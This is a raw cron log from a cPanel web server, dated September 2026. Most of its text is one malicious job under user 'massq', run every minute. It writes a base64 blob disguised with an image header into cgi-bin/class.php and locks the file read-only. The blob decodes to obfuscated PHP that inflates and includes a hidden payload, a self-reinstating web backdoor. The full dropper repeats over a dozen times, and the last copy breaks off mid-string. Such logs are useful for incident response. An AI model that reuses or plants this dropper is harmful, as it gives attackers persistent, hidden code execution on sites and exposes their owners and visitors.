Sep  8 01:54:01 server CROND[16908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:55:01 server CROND[17379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:55:01 server CROND[17380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:55:01 server CROND[17383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:55:01 server CROND[17386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:55:01 server CROND[17387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:55:01 server CROND[17384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:55:01 server CROND[17385]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:56:01 server CROND[18210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:56:01 server CROND[18211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:56:01 server CROND[18212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:57:01 server CROND[18584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:57:01 server CROND[18586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:57:01 server CROND[18587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:57:01 server CROND[18585]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 01:58:01 server CROND[18974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:58:01 server CROND[18975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:58:01 server CROND[18976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:59:01 server CROND[19348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:59:01 server CROND[19347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:59:01 server CROND[19349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:00:01 server CROND[19828]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:00:01 server CROND[19831]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 02:00:01 server CROND[19834]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 02:00:01 server CROND[19832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:00:01 server CROND[19833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:00:01 server CROND[19839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:00:01 server CROND[19837]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  8 02:00:01 server CROND[19842]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:00:01 server CROND[19838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:00:01 server CROND[19840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:00:01 server CROND[19841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:01:01 server CROND[20696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:01:01 server CROND[20697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:01:01 server CROND[20698]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 02:01:01 server CROND[20699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:01:01 server run-parts(/etc/cron.hourly)[20698]: starting 0anacron
Sep  8 02:01:01 server anacron[20717]: Anacron started on 2026-09-08
Sep  8 02:01:01 server anacron[20717]: Normal exit (0 jobs run)
Sep  8 02:01:01 server run-parts(/etc/cron.hourly)[20720]: finished 0anacron
Sep  8 02:02:01 server CROND[21123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:02:01 server CROND[21124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:02:01 server CROND[21125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:03:01 server CROND[21490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:03:01 server CROND[21491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:03:01 server CROND[21492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:04:01 server CROND[21920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:04:01 server CROND[21921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:04:01 server CROND[21922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:05:01 server CROND[22393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:05:01 server CROND[22395]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 02:05:01 server CROND[22397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:05:01 server CROND[22400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:05:01 server CROND[22401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2